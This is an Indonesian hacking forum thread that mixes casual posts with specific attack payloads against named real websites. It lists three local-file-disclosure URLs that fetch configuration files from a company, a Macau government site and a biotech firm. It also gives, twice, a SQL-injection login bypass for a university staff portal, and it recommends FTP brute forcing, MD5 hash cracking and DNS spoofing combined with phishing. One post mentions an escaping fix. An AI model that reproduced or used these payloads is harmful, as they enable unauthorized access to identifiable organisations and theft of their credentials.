*Cyber Security Forum (X-code) - PT. Teknologi Server Indonesia

toor wrote:Berapa ya feenya?

cek aja di http://xcode.or.id/cybered

Hack hp gmn maksudnya?? lebih rinci lagi tentang apanya??

Kalo ada celah ya pasti kemungkinan bisa di bobol

kalau wat nemuin bulg atau inject sih sudah dijelaskan di xcode tapi yang biasanya nemuin kendala tuh dibagian admin finder dan cara cara hash suatu password :) :) Ya memang kendalanya pada admin login, tp kalo memang cara baik baik tidak bisa. cara terakhir ya brute force di port ftp atau port yg ...

http://www.omnik-solar.com/downfile.php?filename=/config.inc.php [LFD]
http://whatson.macautourism.gov.mo/common/dfile.php?url=common/config.php [LFD]
http://www.lw-biotech.com/dfile.php?fileurl=include/config.php [LFD]

NeOS-01 wrote:http://sintak.unika.ac.id/staff <== ada celah bypass login
username = admin
password = ' or '' = '

(TAMBAHAN)
Untuk patch bisa ditambahkan mysql_real_escape_string( string $unescaped_string [, resource $link_identifier ]).

http://sintak.unika.ac.id/staff <== ada celah bypass login
username = admin
password = ' or '' = '

ayong33 wrote: tuk para master mohon pencerahannya...
gmn cranya buat menampilkan psword md5...
ane bingung...
mksih...

Bisa pake md5 crack online, misalnya http://www.md5cracker.org/
Kalo yang offline bisa memakai tools/software,, salah satunya rainbowCrack,download di http://project-rainbowcrack.com/

lebih mantab DNS Spoofing + Phising attack

Lebih mantab kombinasi antara DNS SPoofing dengan Phising.